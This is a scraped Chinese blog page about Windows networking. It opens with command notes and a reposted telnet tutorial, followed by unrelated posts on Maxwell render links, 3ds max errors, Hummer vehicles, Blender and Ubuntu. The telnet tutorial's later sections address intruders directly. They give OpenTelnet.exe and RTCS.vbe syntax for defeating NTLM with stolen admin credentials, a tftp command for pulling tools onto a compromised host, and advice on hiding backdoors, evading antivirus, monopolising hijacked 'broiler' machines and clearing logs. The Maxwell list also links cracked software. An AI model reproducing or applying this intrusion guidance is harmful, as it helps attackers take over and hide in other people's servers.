ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息


tlist -t 以树行列表显示入程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)


kill -F 进程名加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)


del -F 文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件


遥程重启停止响应的服务器


服务器本来安装有终端服务和pcanywhere方便管理,后来因故卸载了pcanywhere,但是为防万一添加了另外一个有administrators权限的用户。但是今天很悲惨,这个用户登录时总是提示超过连接的最大范围。而administrator登录终端后只能观着桌面发呆,点什么都没有反应。幸好web服务和ftp服务都还正常。


让服务器重启的文件在Windows2000中是调用Windows下System中的Shell32.dll文件来实现关机的,例如“indirRunDLL32.exe indirSystemShell32.dll,SHExitWindowsEx 8”,但是不清楚详细参数的含义,担心万一是关机而不是重启就麻烦了,所以还是使用winxp自带的shutdown.exe保险,它的使用方法很明确:


shutdown.exe -a 取消关机


shutdown.exe -f 强行关闭应用程序。


shutdown.exe -m \计算机名 控制远程计算机。


shutdown.exe -i 显示图形用户界面,但必须是Shutdown的第一个参数。


shutdown.exe -l 注销当前用户。


shutdown.exe -r 关机并重启。


shutdown.exe -t时间 设置关机倒计时。


shutdown.exe -c”消息内容” 输入关机对话框中的消息内容(不能超127个字符)。


考虑到默认服务器开启着ipc$,而且自己知道administrator的密码,试着用net use \ipipc$ “密码” /user:“administrator”连接服务器,结果却是系统发生 53 错误,找不到网络路径。


想要上传木马程序,服务器安装了防病毒软件,肯定不行。


已经让网友把shutdown.exe传给我了再传到服务器上了,怎么运行它呢?


想到我登录ftp的帐号是系统管理员帐号,于是在cmd窗口下:


ftp://服务器IP


用户名


密码


登录成功


cd shutdown.exe所在的目录


quote site exec shutdown.exe -r


结果是permission denied.


原来我没给加上执行权限。


在本机serv-U上添加遥程计算机,使用系统管理员帐号密码,这样在本机上就可以管理服务器上的serv-U,


给该帐号加上执行权限。重试前一命令,结果200 EXEC command successful (TID=33).


但是服务器居然没一点反应,晕倒!


正在考虑还有没有其它方法时,serv-U提示跟服务器断开连接了,哈哈哈,过了一会,服务器重启了!


telnet命令详解:


目录:


一 摘要


二 远程登录


三 Telnet协议


四 Win2000的Telnet服务


五 在telnet中该做什么


六 结束语


一 摘要


Telnet的应用不仅方便了我们进行遥程登录,也给hacker们提供了又一种渗入渗出侵手段和后门,但无论如何,在你尽情享受Telnet所带给你的便捷的同时,你是否真正的了解Telnet呢?


二 远程登录


Telnet服务虽然也属于客户机/服务器模型的服务,但它更大的意义在于实现了基于Telnet协议的遥程登录(遥程交互式计算),那么就让我们来熟悉一下远程登录。


1 遥程登陆的基本概念


先来看观什么叫登录:分时系统允许多个用户同时使用一台计算机,为了保证系统的安全和记帐方便,系统要求每个用户有单独的帐号作为登录标识,系统还为每个用户指定了一个口令。用户在使用该系统之前要输入标识和口令,这个过程被称为’登录’。


远程登陆是指用户使用Telnet命令,使自己的计算机暂时成为遥程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器,它只负责把用户输入的每个字符传递给主机,再将主机输出的每个信息回显在屏幕上。


2 远程登陆的产生及发展


我们可以先构想一个提供远程文字编辑的服务,这个服务的实现需要一个接受编辑文件请求和数据的服务器以及一个发送此请求的客户机。客户机将建立一个从本地机到服务器的TCP连接,当然这需要服务器的应答,然后向服务器发送键渗入渗出的信息(文件编辑信息),并读取从服务器返回的输出。以上便是一个标准而普通的客户机/服务器模型的服务。


似乎有了客户机/服务器模型的服务,一切远程问题都可以解决了。然而实际并非你想象的那样简单,如果我们仅需要遥程编辑文件,那么刚才所构想的服务完全可以胜任,但假如我们的要求并不是这么简单,我们还想实现远程用户管理,远程数据录入,远程系统维护,想实现一切可以在远程主机上实现的操作,那么我们将需要大量专用的服务器程序并为每一个可计算服务都使用一个服务器进程,随之而来的问题是:远程机器会很快对服务器入程应接不暇,并淹没在入程的海洋里(我们在这里排除最专业化的远程机器)。


那么有没有办法解决呢?当然有,我们可以用远程登录来解决这一切。我们允许用户在遥地机器上建立一个登录会话,然后通过执行命令来实现更一般的服务,就像在本地操作一样。这样,我们便可以访问远地系统上所有可用的命令,并且系统设计员不需提供多个专用地服务器程序。


问题发展到这里好像前途一片光明了,用远程登录总应该解决问题了吧,但要实现远程登陆并不简单。不考虑网络设计的计算机系统期望用户只从直接相连的键盘和显示器上登录,在这种机器上增加遥程登陆功能需要修改机器的操作系统,这是极其艰巨也是我们尽量避免的。因此我们应该集中力量构造远程登陆服务器软件,虽然这样也是比较困难的。为什么说这样做也比较困难呢?


举个例子来说:一般,操作系统会为一些特殊按键分配特殊的含义,比如本地系统将’Ctrl C’解释为:’终止当前运行的命令进程’。但假设我们已经运行了远程登陆服务器软件,’Ctrl C’也有可能无法被传送到远地机器,如果客户机真的将’Ctrl C’传到了遥地机器,那么’Ctrl C’这个命令有可能不能终止本地的入程,也就是说在这里很可能会产生混乱。而且这仅仅是碰到的难题之一。


但尽管有技术上的困难,系统编程人员还是设法构造了能够应用于大多数操作系统的遥程登陆服务器软件,并构造了充当客户机的应用软件。通常,客户机软件取消了除一个键以外的所有键的本地解释,并将这些本地解释相应的转换成遥地解释,这就使得客户机软件与远地机器的交互,就如同坐在远程主机面前一样,从而避免了上述所提到的混乱。而那个唯一例外的键,可以使用户来回到本地环境。


将遥程登陆服务器设计为应用级软件,还有另一个要求,那就是需要操作系统提供对伪终端(pseudo terminal)的支持。我们用伪终端描述操作系统的入口点,它允许像Telnet服务器一样的程序向操作系统传送字符,并且使得字符像是来自本地键盘一样。只有使用这样的操作系统,才能将远程登陆服务器设计为应用级软件(比如Telnet服务器软件),否则,本地操作系统和远地系统传送将不能识别从对方传送过来的信息(因为它们仅能识别从本地键盘所键入的信息),远程登陆将宣告失败。


将遥程登陆服务器设计为应用级软件虽然有其显著的优点:比将代码嵌渗入渗出操作系统更易修改和控制服务器。但其也有效率不高的缺点(后面的内容将会给予解释),好在用户键入信息的速率不高,这种设计还是可以接受的。


3 远程登录的工作过程


使用Telnet协议入行远程登陆时需要满足以下条件:在本的计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的Ip地址或域名;必须知道登录标识与口令。


Telnet遥程登录服务分为以下4个过程:


1)本地与遥程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道遥程主机的Ip地址或域名;


2)将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报;


3)将远程主机输出的NVT格式的数据转化为本地所接受的格式送往返本地终端,包括输入命令回显和命令执行结果;


4)最后,本地终端对遥程主机进行撤消连接。该过程是撤销一个TCP连接。


上面的内容只是讨论了遥程登陆最基本的东西,其中的复杂和编程人员的艰辛是我们难以想象的,不知道你在舒服的使用Telnet的同时,是否想到了这些!


三 Telnet协议


我们知道Telnet服务器软件是我们最常用的远程登录服务器软件,是一种典型的客户机/服务器模型的服务,它应用Telnet协议来工作。那么,什么是Telnet协议?它都具备哪些特点呢?


1 基本内容


Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议。应用Telnet协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务:


1)Telnet定义一个网络虚拟终端为远的系统提供一个标准接口。客户机程序不必详细了解远的系统,他们只需构造使用标准接口的程序;


2)Telnet包括一个允许客户机和服务器协商选项的机制,而且它还提供一组标准选项;


3)Telnet对称处理连接的两端,即Telnet不强迫客户机从键盘输入,也不强迫客户机在屏幕上显示输出。


2 适应异构


为了使多个操作系统间的Telnet交互操作成为可能,就必须详细了解异构计算机和操作系统。比如,一些操作系统需要每行文本用ASCII回车控制符(CR)结束,另一些系统则需要使用ASCII换行符(LF),还有一些系统需要用两个字符的序列回车-换行(CR-LF);再比如,大多数操作系统为用户提供了一个中断程序运行的快捷键,但这个快捷键在各个系统中有可能不同(一些系统使用CTRL C,而另一些系统使用ESCAPE)。如果不考虑系统间的异构性,那么在本地发出的字符或命令,传送到遥地并被遥地系统解释后很可能会不准确或者出现错误。因此,Telnet协议必须解决这个问题。


为了适应异构环境,Telnet协议定义了数据和命令在Internet上的传输方式,此定义被称作网络虚拟终端NVT(Net Virtual Terminal)。它的应用过程如下:


对于发送的数据:客户机软件把来自用户终端的按键和命令序列转换为NVT格式,并发送到服务器,服务器软件将收到的数据和命令,从NVT格式转换为远地系统需要的格式;


对于返回的数据:远地服务器将数据从远地机器的格式转换为NVT格式,而本地客户机将将接收到的NVT格式数据再转换为本地的格式。


对于NVT格式的详细定义,有兴趣的朋友可以去查找相关资料。


3 传送远地命令


我们知道绝大多数操作系统都提供各种快捷键来实现相应的控制命令,当用户在本地终端键渗透这些快捷键的时候,本地系统将执行相应的控制命令,而不把这些快捷键作为输入。那么对于Telnet来说,它是用什么来实现控制命令的远地传送呢?


Telnet同样使用NVT来定义如何从客户机将控制功能传送到服务器。我们知道USASCII字符集包括95个可打印字符和33个控制码。当用户从本地键入普通字符时,NVT将按照其原始含义传送;当用户键入快捷键(组合键)时,NVT将把它转化为特殊的ASCII字符在网络上传送,并在其到达遥地机器后转化为相应的控制命令。将正常ASCII字符集与控制命令区分主要有两个原因:


1)这种区分意味着Telnet具有更大的灵活性:它可在客户机与服务器间传送所有可能的ASCII字符以及所有控制功能;


2)这种区分使得客户机可以无二义性的指定信令,而不会产生控制功能与普通字符的混乱。


4 数据流向


上面我们提到过将Telnet设计为应用级软件有一个缺点,那就是:效率不高。这是为什么呢?下面给出Telnet中的数据流向:


数据信息被用户从本地键盘键渗入渗出并通过操作系统传到客户机程序,客户机程序将其处理后返往返操作系统,并由操作系统经过网络传送到远地机器,遥地操作系统将所接收数据传给服务器程序,并经服务器程序再次处理后返回到操作系统上的伪终端入口点,最后,远地操作系统将数据传送到用户正在运行的应用程序,这便是一次完整的输入过程;输出将按照同一通路从服务器传送到客户机。


因为每一次的输渗入渗出和输出,计算机将切换入程环境好几次,这个开销是很昂贵的。还好用户的键入速率并不算高,这个缺点我们仍然能够接受。


5 强制命令


我们应该考虑到这样一种情况:假设本地用户运行了远地机器的一个无休止循环的错误命令或程序,且此命令或程序已经停止读取输渗入渗出,那么操作系统的缓冲区可能因此而被占满,如果这样,远地服务器也无法再将数据写入伪终端,并且最终导致停止从TCP连接读取数据,TCP连接的缓冲区最终也会被占满,从而导致阻止数据流流渗透此连接。如果以上事情真的发生了,那么本地用户将失去对远地机器的控制。


为了解决此问题,Telnet协议必须使用外带信令以便强制服务器读取一个控制命令。我们知道TCP用紧急数据机制实现外带数据信令,那么Telnet只要再附加一个被称为数据标记(date mark)的保留八位组,并通过让TCP发送已设置紧急数据比特的报文段通知服务器便可以了,携带紧急数据的报文段将绕过流量控制直接到达服务器。作为对紧急信令的相应,服务器将读取并抛弃所有数据,直到找到了一个数据标记。服务器在遇到了数据标记后将返来回正常的处理过程。


6 选项协商


由于Telnet两端的机器和操作系统的异构性,使得Telnet不可能也不应该严格规定每一个telnet连接的具体配置,否则将大大影响Telnet的适应异构性。因此,Telnet采用选项协商机制来解决这一问题。


Telnet选项的范围很广:一些选项扩充了大方向的功能,而一些选项制涉及一些微小细节。例如:有一个选项可以控制Telnet是在半双工还是全双工模式下工作(大方向);还有一个选项允许远地机器上的服务器决定用户终端类型(小细节)。


Telnet选项的协商方式也很有意思,它对于每个选项的处理都是对称的,即任何一端都可以发出协商申请;任何一端都可以接受或拒绝这个申请。另外,如果一端试图协商另一端不了解的选项,接受请求的一端可简单的拒绝协商。因此,有可能将更新,更复杂的Telnet客户机服务器版本与较老的,不太复杂的版本进行交互操作。如果客户机和服务器都理解新的选项,可能会对交互有所改善。否则,它们将一起转到效率较低但可工作的方式下运行。所有的这些设计,都是为了增强适应异构性,可见Telnet的适应异构性对其的应用和发展是多么重要。


上面讨论了一些原理方面的东西,虽然我们在Telnet的使用过程中很难接触到这一层面,但我认为了解这些是有意义的,它会给我们带来许多启示。下面让我们来观观Win2000的Telnet服务。


(本系列教程不定期更新,欲获得最新版本,请登陆官方网站:菜菜鸟社区 http://ccbirds.yeah.net)


四 Win2000的Telnet服务


其实从应用层面上,Win2000的Telnet服务并没有什么可说的,绝大部分内容你都可以从HELP文件中得到,我在此只是把它稍微整理一下而已。


1 基本配置


Win2000为我们提供了Telnet客户机和服务器程序:Telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(server),同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe。


Windows 2000 默认安装了 Telnet 服务,但是并没有默认启动。下面给出HELP文件中 Telnet 服务的一部分默认设置:


AllowTrustedDomain:是否允许域用户访问。默认值是1,允许信任域用户访问。可以改为0: 不允许域用户访问(只允许本地用户)。


DefaultDomain:可以对与该计算机具有信任关系的任何域设置。默认值是”.”。


DefaultShell:显示 shell 安装的路径位置。默认值是: %systemroot%System32Cmd.exe /q /k


MaxFailedLogins:在连接终止之前显示尝试登录失败的最大次数。默认是3。


LoginScript:显示 Telnet 服务器登录脚本的路径位置。默认的位置就是“%systemroot%System32login.cmd”,你可以更改脚本内容,这样登录进Telnet的欢迎屏幕就不一样了。


NTLM:NTLM身份验证选项。默认是2。可以有下面这些值:


0: 不使用 NTLM 身份验证。


1: 先尝试 NTLM 身份验证,如果失败,再使用用户名和密码。


2: 只使用 NTLM 身份验证。


TelnetPort:显示 telnet 服务器侦听 telnet 请求的端口。默认是:23。你也可以更改为其他端口。


以上各项设置你可以使用tlntadmn.exe(Telnet服务器管理程序)来进行非常方便的配置,配置后需要重新启动Telnet服务。如图1


2 NTLM


提到了telnet就不能不提NTLM,我想这也是让入侵者最为头痛的一件事,哪怕你获得了管理员帐号和密码,想简单通过NTLM也并非易事,况且win2000中的telnet默认仅以NTLM方式验证身份,这就让我们不得不关注NTLM这个东东,那么什么是NTLM呢?


早期的SMB协议在网络上明文传输口令,后来出现了”LAN Manager Challenge/Response”验证机制,简称LM,它十分简单以至很容易被破解,微软随后提出了WindowsNT挑战/响应验证机制,即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。NTLM工作流程是这样的:


1、客户端首先在本地加密当前用户的密码成为密码散列


2、客户端向服务器发送自己的帐号,这个帐号是没有经过加密的,明文直接传输


3、服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战)


4、客户端再用加密后的密码散列来加密这个 challenge ,然后把这个返回给服务器。作为 response(响应)


5、服务器把用户名、给客户端的challenge 、客户端返往返的 response 这三个东西,发送域控制器


6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密 challenge。


7、域控制器比较两次加密的 challenge ,如果一样,那么认证成功。


从上面的过程我们可以观出,NTLM是以当前用户的身份向Telnet服务器发送登录请求的,而不是用你扫到的对方管理员的帐户和密码登录,显然,你的登录将会失败。举个例子来说,你家的机器名为A(本地机器),你入侵的机器名为B(远地机器),你在A上的帐户是xinxin,密码是1234,你扫到B的管理员帐号是Administrator,密码是5678,当你想Telnet到B时,NTLM将自动以当前用户的帐号和密码作为登录的凭据来进行上面的7项操作,即用xinxin和1234,而并非用你扫到的Administrator和5678,且这些都是自动完成的,根本不给你插手的机会,因此你的登录操作将失败。


由于Telnet服务器对NTLM的使用有3个选项,所以当你Telnet遥地机器时,会显示下面情况中的一种:


1)身份验证选项=0时


=====================================


Microsoft (R) Windows (TM) Version 5.00 (Build 2195)


Welcome to Microsoft Telnet Service


Telnet Server Build 5.00.99201.1


login:


password:


\为0时不使用NTML身份验证,直接输入用户名和密码,比如你可以输渗透扫到的Administrator和5678


2)身份验证选项=1时


=====================================


NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password


Microsoft (R) Windows (TM) Version 5.00 (Build 2195)


Welcome to Microsoft Telnet Service


Telnet Server Build 5.00.99201.1


login:


password:


\先尝试 NTLM 身份验证,如果失败,再使用用户名和密码,其实这种方式对于我们来说,与上一种方式没什么区别


3)身份验证选项=2时


=====================================


NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password


Server allows NTLM authentication only


Server has closed connection


遗失对主机的连接。


C:>


\仔细看观上面的显示,根本没有给你输渗透用户名和密码的机会,直接断开连接,扫到了密码也是白扫


所以对于入侵者来说,NTLM是横在我们面前的一座大山,必须要除掉它,一般我们有如下几种方法:


1通过修改遥程注册表更改telnet服务器配置,将验证方式从2改为1或0;


2使用NTLM.exe,上传后直接运行,可将telnet服务器验证方式从2改为1;


3在本地建立扫描到的用户,以此用户身份开启telnet客户机并入行远程登录;


4使用软件,比如opentelnet.exe(需要管理员权限且开启IPC管道)


5使用脚本,如RTCS,(需要管理员权限但不依赖IPC管道)


基本上是以上的5种,其中后两种是我们比较常用的开telnet的手法,而且使用方法十分简单,命令如下:


OpenTelnet.exe \server username password NTLMAuthor telnetport


OpenTelnet.exe \服务器地址 管理员用户名 密码 验证方式(填0或1) telnet端口


cscript RTCS.vbe targetIP username password NTLMAuthor telnetport


cscript RTCS.vbe <目标IP> <管理员用户名> <密码> <验证方式>


五 在telnet中该做什么


本来写到上面就想结束了,不过许多朋友都说telnet上去后不知道该做什么了,既然这样,那我就抛砖引玉吧,这次不讲详细做法,只是说说思路,什么?为什么不讲具体做法?篇幅不够嘛,以后我会一一解释的。


1 查看系统信息


呵呵,其实就是随处看观,看看他的系统配置和版本(用type c:boot.ini来知道pro版或server版),看看都装了什么服务或软件(从目录名就可以知道了),观看有什么重要或有趣的文件啦(唉,要是国外的机器,看也观不懂),观看他的用户情况,总之就是尽可能多的了解系统,为一会装后门摸底。


2 使用tftp传送文件


想必大家都碰到过在telnet中传输文件的问题,因为我们习惯了在ipc管道中的文件传输,所以有些朋友喜欢用net share ipc$ 来打开管道,进而利用copy来传输文件。不过这样反而麻烦,既然我们已经得到了shell,我们可以用TFPT命令来完成这一切,什么是TFTP呢?


用TFTP(Trivial File Transfer Protocol)来实现文件的传送是一种基于UDP连接的文件传输,一般是使用Windows自带的tftp.exe和一个TFTP服务器端软件构成一个完整的传输结构。它是这样使用的: 首先运行本地的TFTP Server(比如tftpd32.exe)软件并保证始终开启直至传输全部完成, 然后在telnet中(当然你也可以在其他shell中)运行下面的命令:


C:>tftp –i ip get xinxin.exe c:abcxinxin.exe


其中ip为你自己机器的ip,且上传文件要与TFTP服务器端在同一目录下,这样你就可以把xinxin.exe上传到c盘abc目录下了(其实是从tftp服务器下载来的)


需要指出的是,如果使用代理IP,你将不能实现与外部网络的文件传送。因为你的代理网关在入行数据封装的时候会将自己的IP地址加入到你的数据报中,代替你的内部网络地址,所以在外部网络入行MAC寻址时是找不到你这台TFTP服务器的。


3 安置后门


安置后门放在第二步好像早了点,如果你渗透侵还有其他目的,比如以破坏为主,或者是来修改主页的,那么这些事情当然可以在安置后门之前做;如果你只是想得到一只肉鸡,那就没什么可说的了,安后门吧。


后门的种类繁多,也给我们提供了很大的选择余地,能够根据具体情况选择合适的后门的确是一门学问。常用的后门一般有:木马,asp木马,远程控制软件,克隆帐户,建立并隐藏帐户,telnet,telnet扩展的shell,终端服务等。安置一个好的后门通常要注意以下几点:


1 不会被防火墙查杀及阻碍通信:被加入病毒库的后门最好加壳以逃过防火墙,尽量用低端口通信,以免被防火墙屏蔽。


2 最大限度增加隐蔽性:如果你选择遥程控制软件,要注意被控端的安装提示和小图标,以及是否同步画面;如果你在帐户上做文章,要尽量保持在cmd和用户管理中都不出破绽;如果你选择放木马或telnet扩展,要注意文件和进程的隐藏;如果新开了终端服务(入侵前并没有开),一定要该掉3389这个显眼的端口,且越低越好。


3 不要当管理员不存在:这是一个大忌,许多朋友在只有默认帐户的机器上建立类似’hacking’的管理员帐户,真是无知者无畏呀。所以安置后门的时候,想想管理员疏忽的地方会在哪里。


4 打补丁


如果想独霸肉鸡,就要会打补丁,要知道对肉鸡的竞争是很激烈的。怎么打补丁呢?这个也要问?想想你是怎么进来的吧。算了,提示一下,除了修补大的漏洞以外(上传官方补丁并运行),也要注重它的共享,ipc$共享(最好都关闭),可疑端口,容易被利用的服务等。不过打补丁也要注意隐蔽性的,不要让管理员发现大的改动。


5 清除日志


可以手动或利用软件,如果不太会就去找相关教材吧,在这里我不详细介绍了。


六 结束语


文章的前部分主要说了一些原理性的东西,后部分则侧重于应用,写的多了难免会有些遗漏,如果你觉得哪里还需要补充,或者哪里不明白,请往返帖告诉我哟!!


很抱歉,因为您在网易相册发布了违规信息,账号被屏蔽。被屏蔽期间他人无法访问您的相册。


去帮助中心,了解如何重新恢复服务。


2010年12月3日星期五

2010年11月21日星期日

【转】 maxwell 2010最新最全的教程集合




Maxwell 在线中文手册 (二)


Maxwell 在线中文手册 (一)


maxwell(终极渲染)之入门教程(一)


maxwell(终极渲染)之入门教程(一)


新古典家居灯光和Maxwell渲染教程


Maxwell Render v2.0.1 (强大独立渲染器)


Maxwell渲染器 简介及软件介绍


CG设计专业交流QQ群,设计交流QQ群


史上最全的maxwell教程 maxwell教程大集合 自动长期更新


maxwell v2.0 新功能研究交流 aboutcg出品! 长期更新!


Maxwell 最新鼠标渲染


Maxwell材质培训视频教程-火星时代教程 maxwell官方教程


Maxwell Materials 最新渲染素材集 maxwel材质库


maxwell for 3ds max 最新接口


Maxwell 2.0.1 最新破解注册中文版


Maxwell Render 2 最新破解(x86/x64)+Sketchup接口文件


Maxwell Render 2.0 x64位 (强大独立渲染器) 免费下载


国内首发maxwell 2.0 for 3ds max 2010 接口中文版!!


maxwell渲染 终结者制作流程


maxwell 动画渲染教程 免费下载观看!!


MaxWell 入门视频教程(初学者教程) 免费下载观看!!!


Maxwell render V2 发布 出图质量有明显提升


MAXWELL中的自发光设置与照明技术的结合


MAXWELL景深相关探讨


maxwell(渲染器) 官方材质库下载!!!!!!1


maxwell(渲染器) 快捷键


MAXWELL(终极渲染器)入门前之三天计划


欧文Maxwell教程


Maxwell滤网效果


Maxwell材质收集---28大类 2700种材质


Maxwell渲染器材质参数


Maxwell终级渲染 渲染教程网址大全, 需要学习的请进!!!!!


maxwell教程集合

【转】 maxwell 2010最新最全的教程集合

2010年11月14日星期日

3ds max启动0xc0000142错误

装了好几个AUTODESK的软件,可是一失误选错了路径,卸了,发现3DS MAX2009用不了了,提示0xc0000142错误,本来想直重装,想想网上可能有解决办法,搜了看,还真没有,而且还有不少朋友也有这错误,找不到办法。



不是什么特别的方法,卸了重装。


别外一个似乎为官方的方法(在一个国外论坛看到的,没试)不用卸载重装——下载安装3dsmaxacdds_anchor,链接找不到了,自己动手谷哥一下吧。

3ds max启动0xc0000142错误

装了好几个AUTODESK的软件,可是一失误选错了路径,卸了,发现3DS MAX2009用不了了,提示0xc0000142错误,本来想直重装,想想网上可能有解决办法,搜了看,还真没有,而且还有不少朋友也有这错误,找不到办法。



不是什么特别的方法,卸了重装。


别外一个似乎为官方的方法(在一个国外论坛看到的,没试)不用卸载重装——下载安装3dsmaxacdds_anchor,链接找不到了,自己动手谷哥一下吧。

2010年11月12日星期五

转个文HUMMER H1和HUMMVEE

(转载要讲公德            作者:洪宁  来源:搜狐汽车                        所有权利归原作者和网站)

简言之,HUMMER是民用版,HUMVEE是军用版。HUMMER一词源于HUMVEE,而HUMVEE是HUMMWV一词的所谓“发音“,HUMMWV是High Mobility Multipurpose Wheeled Vehicle缩写-高机动性多用途轮式运输车。

  基本上,民用和军用使用同一种地盘,相同的后桥,变速箱,半轴,分动箱,功能上最主要的区别是民用型有三种发动机选择(6。2升增压柴油V8,6。5升增压柴油V8和5。7升汽油V8)及12V电压,军用只有唯一一种6。2升增压柴油V8和24V电压,以及不同的弹簧硬度和减震器硬度。其实两款车都是在INDIANA洲SOUTH BEND的AM GENERAL工厂同一条生产线生产的,只是因去往销售渠道不一样,再安装不同的配置。

  所以这两款车其实最大区别在于内部舒适性上,军用版中控部分被巨大的电台占领了(他们常送73给火腿们吗?嘿嘿)和很不舒适的番布坐椅及铝制仪表板。民用版内部要舒适很多,从坐椅到碳纤维中控台等,这一切都是为了帮助把该车价格拉到65000美元以上。操作台怀疑是从大型卡车上借到的概念---满满的都是仪表和显示器。。。

  该车是于1982年开始生产的,最初的军用版是安装了一种双冲程风冷柴油机,但遗憾的是到目前为止也没找到该发动机的资料。因为动力和传动系统基本一样,到底哪款更好就取决于你想在车里拥有多少皮货了。如果你想在城市里更显眼那就找辆HUMMER,如果你不介意到处都弄的是泥和土的话,那可以搞个退役的HUMVEE。

  70年代末,美帝国主义提出需要一款新式军用多功能车辆来取代太多因不同任务而配置的不同的车辆(美帝国主义终于从英帝国主义那里学到了军用LANDROVER的精华),从79年开始, AM General, Chrysler Defense,和Teledyne投标竞争,这里只有AM GENERAL没有现成车辆可以借用,Chrysler使用SALUKI为基础平台,Teledyne使用的基础平台是CHEETAH(这款车其实就是Lamborghini LM系列,后来Lamborghini把它投放到市场上作为豪华沙漠越野车)。

  AM GENERAL第一个通过了测试也是最轻(我靠!美国式的轻!)表现最好的车辆,这款HUMVEE就这么诞生了。HUMVEE其实取代了M151型1/4吨吉普车;M274型1/2吨“机械骡子”;M561型1 1/4吨“小山羊”;M718A1救护车;M792救护车;和部分M880型1 1/4吨卡车。83年军队订购了55000辆HUMVEE的15种基本型(5年合同),后增加为70000辆,89年又增加了33000辆定单。。。基本型号为5种(Cargo/Troop Carrier, TOW Carrier, Armament Carrier, Shelter Carrier, and Ambulance),下再分为15种变型(这就是很多人称呼的ORIGINAL 15),最多的是M998,M998A1,M998A2,除了M1037/M1042 Shelter Carriers外,其他车辆都为1 1/4吨级。

  这15种车型分别为:M998 - Cargo/Troop CarrierM1038 - Cargo/Troop Carrier (带绞盘)M966 - TOW Carrier, (装甲)M1036 - TOW Carrier (带绞盘和装甲)M1045 - TOW Carrier (带额外装甲)M1046 - TOW Carrier (绞盘和额外装甲)M1025 - Armament Carrier, (装甲)M1026 - Armament Carrier (绞盘和装甲)M1043 - Armament Carrier (额外装甲)M1044 - Armament Carrier (绞盘和额外装甲)M1037 - S250 Shelter CarrierM1042 - S250 Shelter Carrier (绞盘)M996 - Ambulance, (双担架,装甲)M997 - Ambulance, (四担架,装甲)M1035 - Ambulance, (双担架,软顶)

  原始的HUMVEE安装的是底特律柴油机6.2L升V8, 150hp, 250 lbs-ft, TURBO TH 400 3速自动变速箱, NPG 218 全时4驱链条分动箱(2.61:1 低档), 2.56:1 桥速比, 1.92:1 轮轴减速, 4 轮独立悬挂, 可分离式轮箍Goodyear Wrangler RT/II 轮胎, 25加仑油箱. 机器盖是玻璃钢制,车身为 6061T6铝合金制(靠!又学英帝国主义!).

  HUMVEE和HUMMER的主要区别(以下为军用款特征):TURBO TH 400自动变速箱(非电子型)发动机使用机械式F1高压泵被饰很原始,没有豪华设施和享受没有点火开关,使用点火/灯光标准开关不同的前保险杠全防水式24V电器系统,电瓶安装于乘客座下(北约4缸以上柴油机标准)车门有简单番布,装甲及重装甲型多种车顶和车身选择无三元催化器(看来挨打的人必须环保!哈哈)可能不同的分动箱低档齿比手刹车控制不同自动变速箱没有P档位(不清楚TMD美帝国主义搞什么名堂!)前风挡有一定的防弹能力1。5米涉水选装件声音效果极差的喇叭(典型美国造)几乎都没有空调(鹰头101空降师快变成烤鸡了!)军用版不使用电子控制的变速箱和发动机是为了防核武及电磁辐射等对车辆干扰。现在一辆2手的军用版售价约在14000-20000美元间,大部分车辆只跑了20000公里,有些只行驶了5000公里。不写了,困了!以后再写一篇这种车的所有改型及机械配置等。

转个文HUMMER H1和HUMMVEE

(转载要讲公德

2010年11月4日星期四

Blender新作《Sintel》

Blender基金会在此前曾制作发布两部开源电影,第一部 Elephant Dream(代号:橙子,2005);第二部 Big Buck Bunny(代号:桃子,2007)。均是以水果命名。第三部就是今天的这部Sintel(这次的代号应该叫”榴莲“),这部开源电影还有个3D版,赶了个时髦。


这些电影都是用开源软件(Ubuntu操作平台、Python脚本语言、Blender三维平台加GIMP图形处理工具)制作的。电影所有源文件可以从网上下载。为的是向大家推广开源3D软件Blender。


Blender现在正在发展中,最近出了它的2.55Beta版了。前几天在一个Blender的教程网上(很不错,一个澳大利亚的二十多的朋友开的)看了一份关于Blender用户的调查我找找把链接贴上。结论是用Blender的用户大多是十几二十岁的年轻男淫。基本没收用它创过收,对它的一些功能有点不满,决定长期用下去——免费的嘛,呵呵。

Blender新作《Sintel》

Blender基金会在此前曾制作发布两部开源电影,第一部 Elephant Dream(代号:橙子,2005);第二部 Big Buck Bunny(代号:桃子,2007)。均是以水果命名。第三部就是今天的这部Sintel(这次的代号应该叫”榴莲“),这部开源电影还有个3D版,赶了个时髦。


这些电影都是用开源软件(Ubuntu操作平台、Python脚本语言、Blender三维平台加GIMP图形处理工具)制作的。电影所有源文件可以从网上下载。为的是向大家推广开源3D软件Blender。


Blender现在正在发展中,最近出了它的2.55Beta版了。前几天在一个Blender的教程网上(很不错,一个澳大利亚的二十多的朋友开的)看了一份关于Blender用户的调查我找找把链接贴上。结论是用Blender的用户大多是十几二十岁的年轻男淫。基本没收用它创过收,对它的一些功能有点不满,决定长期用下去——免费的嘛,呵呵。

2010年10月22日星期五

情商太低了!

对自己无语。吃个饭的功夫,一连闹两个大笑话。

情商太低了!

对自己无语。吃个饭的功夫,一连闹两个大笑话。

2010年10月12日星期二

2010年10月11日星期一

2010年10月9日星期六

ubuntu 10.10

ubuntu 10.10明天就要发布正式版了。第一个用过的版本也换代了。

ubuntu 10.10

ubuntu 10.10明天就要发布正式版了。第一个用过的版本也换代了。

2010年9月22日星期三

【转】 一些简单的Linux网络配置命令

【转】 一些简单的Linux网络配置命令

